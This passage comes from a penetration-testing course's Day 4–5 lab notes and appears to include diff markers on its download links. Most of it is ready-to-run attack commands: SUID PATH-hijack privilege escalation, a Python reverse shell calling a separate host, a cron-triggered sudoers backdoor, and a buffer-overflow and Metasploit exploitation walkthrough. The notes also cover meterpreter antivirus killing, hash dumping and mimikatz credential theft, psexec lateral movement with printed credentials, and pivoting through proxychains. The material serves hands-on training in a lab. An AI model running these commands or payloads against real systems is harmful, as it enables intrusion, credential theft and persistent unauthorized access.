 hashcat -m 0 -a 0 hash.txt ~/toolz/list.txt
 
 
 
 
 Ok, now let's log into the machine.
 
 
 ssh 10.0.0.7 -p 777 -lramses
 
 cat /etc/issue
 
 find / -user root -perm -4000 -print 2>/dev/null | grep -v bin | grep -v usr
 
 cd /var/www/backup/
 
 ls -l procwatch
 
 
 
 Figure out how to root this box!!!!!!!!!!!!!!!!
 
 whoami
 ln -s /bin/ls ps
 export PATH=`pwd`:${PATH}
 ./procwatch
 ln -snf /bin/sh ps
 ./procwatch
 whoami
 cat /root/proof.txt
 
 
 .......hahahahah rooted and polluted!!!!!!!!!
 
 So now let's go attack .14 with this box.
 
 nc -l -v -p 443
 
 
 ...from the webshell on 10.0.0.14 (http://10.0.0.14/test/cmd.php)
 
 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.7",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
 
 
 This will give you a user level shell on 10.0.0.14
 
 dpkg -l chkrootkit
 ls -al /etc/sudoers
 echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
 
 
 ....wait for it.....wait for it (a few hours possibly since it is cron.daily...)
 sudo su
 
 ....now you are root
 
 
 ####################################
 # Finally, let's exploit something #
 ####################################
 
 #####################################
 # Quick Stack Based Buffer Overflow #
 #####################################
 
 - You can download everything you need for this exercise (except netcat) from the link below
-https://s3.amazonaws.com/infosecaddictsfiles/ExploitLab.zip
+https://infosecaddictsfiles.blob.core.windows.net/files/ExploitLab.zip
 
 - Extract this zip file to your Desktop
 
 - Go to folder C:\Users\Workshop\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
 
 - Open a new command prompt and type:
 nc localhost 9999
 
 - In the new command prompt window where you ran nc type:
 HELP
 
 - Go to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts
 - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
 
 - Now double-click on 1-simplefuzzer.py
 - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
 
 
 - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
 
 - Now go to folder C:\Users\Workshop\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
 
 - Go back to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
 
 - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
 
 - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
 
 - Calculate the distance to EIP by running script 3-3000chars.py
 - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
 
 4-count-chars-to-EIP.py
 - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
 - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
 
 5-2006char-eip-check.py
 - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
 
 6-jmp-esp.py
 - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
 
 7-first-exploit
 - In this script we actually do the stack overflow and launch a bind shell on port 4444
 
 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
 
 
 ------------------------------
 
 cd /home/strategicsec/toolz/metasploit/modules/exploits/windows/misc
 
 vi vulnserv.rb    (paste the code into this file)
 
 
 
 cd ~/toolz/metasploit
 
 ./msfconsole
 
 
 
 use exploit/windows/misc/vulnserv
 set PAYLOAD windows/meterpreter/bind_tcp
 set RHOST 10.0.0.10
 set RPORT 9999
 exploit
 
 
 
 
 
 
 ********************************** Figure out who and where you are **********************************
 
 meterpreter> sysinfo
 
 
 meterpreter> getuid
 
 
 meterpreter> ipconfig
 
 
 meterpreter> run post/windows/gather/checkvm
 
 
 meterpreter> run get_local_subnets
 
 
 
 ********************************** Escalate privileges and get hashes **********************************
 
 
 meterpreter> use priv
 
 
 
 meterpreter > getsystem
 ...got system (via technique 1).
 
 meterpreter > getuid
 Server username: NT AUTHORITY\SYSTEM
 
 --------------------------------------------------------
 
 meterpreter> run killav
 
 meterpreter> run post/windows/gather/hashdump
 
 	Got the following admin hash:
 	Administrator:500:6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363:::
 
 meterpreter> run post/windows/gather/credentials/credential_collector
 
 meterpreter > load mimikatz
 
 meterpreter > kerberos
 
 	This should give me the administrative password:
 	)K5?Jocb(Yx
 
 
 ********************************** Enumerate the host you are on **********************************
 
 meterpreter> run winenum
 
 meterpreter > run post/windows/gather/enum_applications
 
 meterpreter > run post/windows/gather/enum_logged_on_users
 
 meterpreter > run post/windows/gather/usb_history
 
 meterpreter > run post/windows/gather/enum_shares
 
 meterpreter > run post/windows/gather/enum_snmp
 
 meterpreter> reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
 
 
 ********************************** Get out of Meterpreter **********************************
 
 meterpreter> background
 
 msf exploit(savant_31_overflow) > back
 
 msf>
 
 
 
 
 ********************************** Lateral Movement *******************************
 
 
 Now we can run the PSEXEC exploit.
 
 -- Option 1:
 use exploit/windows/smb/psexec
 
 set SMBUser Administrator
 
 set SMBPass )K5?Jocb(Yx
 
 set RHOST 10.0.0.15
 
 set payload windows/meterpreter/bind_tcp
 
 set LPORT 2345
 
 exploit
 
 ********************************** Get out of Meterpreter **********************************
 
 meterpreter> background
 
 msf exploit(psexec) >back
 
 msf>
 
 **********************************
 
 -- Option 2:
 use exploit/windows/smb/psexec
 
 set SMBUser Administrator
 
 set SMBPass 6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363
 
 set payload windows/meterpreter/bind_tcp
 
 set RHOST 10.0.0.15
 
 set LPORT 5678
 
 exploit
 
 
 
 ********************************** Set up your Pivot **********************************
 
 meterpreter > background
                                                         <-- background the session
         You want to get back to this prompt:
         msf exploit(handler) > back                     <--- you need to get to main msf> prompt
 
 
 
         sessions -l                                     <--find a session you want to pivot through (note the IP and session number)
 
         Now set up Pivot with a route add
         ---------------------------------
 
 route print												<--- should be blank
 
 route add 10.0.0.15 255.255.255.0 1                       <-- Use correct session id (2), it may be 3, or 4 (make sure you are on msf> prommpt, not meterpreter)
 
 
 route print                                             <----- verify new route
 
 ******************************Scan through your Pivot ******************************
 
 use auxiliary/scanner/portscan/tcp                      <-- Run aux modules through your pivot
 
 set THREADS 10
 
 set RHOSTS 10.0.0.0/24             <-- Keep changing this IP and re-running the scan until you find something you want to attack
 
 set PORTS 445
 
 run
 
 
 ####################################
 # Socks Tunneling with Proxychains #
 ####################################
 --- Open a duplicate putty session to your Ubuntu host
 
 sudo apt install -y proxychains
     infosecaddicts
 
 sudo vi /etc/proxychains.conf                           <--- Make sure that last line of the file is: socks4  127.0.0.1 1080
      infosecaddicts
 
         Comment out the proxy_dns, change the 9050 (tor port) to the metasploit socks proxy port (1080) and save it.
         socks4  127.0.0.1 1080
 
 ***************************Set up a Socks Proxy through your Pivot *************************
 
 
 use auxiliary/server/socks4a
 
 set SRVHOST 127.0.0.1
 
 set SRVPORT 1080
 
 run
 
         --- Go back to your other putty session with the meterpreter shell
 cd ~
 
 proxychains nmap -sT -PN -vv -sV --script=smb-os-discovery.nse -p 445 10.0.0.0/24          <--- This is going to be really slow
 
 proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,1433,1521,3306,3389,8080,10000 10.0.0/24           <--- This is going to be really slow
 
 
         ---close the duplicate putty session to your Ubuntu host
 
 
 
 
 ********************************** Begin Day 4 Homework Part 1 **********************************
 NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
 
 You must take screenshots of you performing all of the scanning tasks that we have done so far today
 
 You must create a MS WORD document titled 'FirstName-LastName-Pentester-CyberWar-Day4.docx' (ex: Joseph-McCray-CyberWar-Day3.docx).
 
 You must spell you name EXACTLY as you want it spelled on your class certificate.
 
 IMPORTANT NOTE:
 Your homework must be submitted via email to both (joe@strategicsec.com) by Sunday May 21st at midnight EST.
 
 ********************************** End Day 4 Homework Part 1 **********************************
 
 
 ************************ Class Challenge ************************
 
 Let's see how you do with someone else's vulnerable website. Your 1st target is: http://zero.webappsecurity.com
 
 Here are some sample web app penetration test reports from other companies that you can look at:
-https://s3.amazonaws.com/infosecaddictsfiles/WebAppSampleReports.zip
+https://infosecaddictsfiles.blob.core.windows.net/files/WebAppSampleReports.zip
 
 I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project.
 
 
 
 
 
 #########
 # Day 5 #
 #########
 
 Today you finally get the chance to take a step into the world of penetration testing.
 
 
 Day 5 Task 1
 We'll start by having your do a job interview for the position of junior penetration tester. Here are the questions:
 https://goo.gl/forms/l2cMNg1F50kLQsHG2
 
 
 
 Day 5 Task 2
 Create an OSINT report on the retail company TARGET. You'll all work together on this and put together as thorough of a report as possible.
 You'll each be given access to the Googele Drive where all of the resources to complete this task are located.
 
 
 
 
 Day 5 Task 3
 Use nmap to map the target network (10.0.0.0/24).
 
 Task 3a) Identify the number of reachable hosts.
 
 Task 3b) Identify the number of open ports per hosts.
 
 Task 3c) Identify the software versions of each application running on each exposed port on each host in the environment.
 
 Task 3d) Identify the vulnerable services on each host in the target network along with their exploit-db.com ID number
 
 Task 3e) Put all of this information into a spreadsheet in the Google Drive folder
 
 
 
 
 Day 5 Task 4
 Use DirBuster to go afer at least 3 servers in the target network (10.0.0.0/24).
 
 Reference:
 http://securityxploded.com/bruteforcing-filenames-on-webservers-using-dirbuster.php
 
 
 
 
 Day 5 Task 5
 Populate the findings spreadsheet with as much detail as possible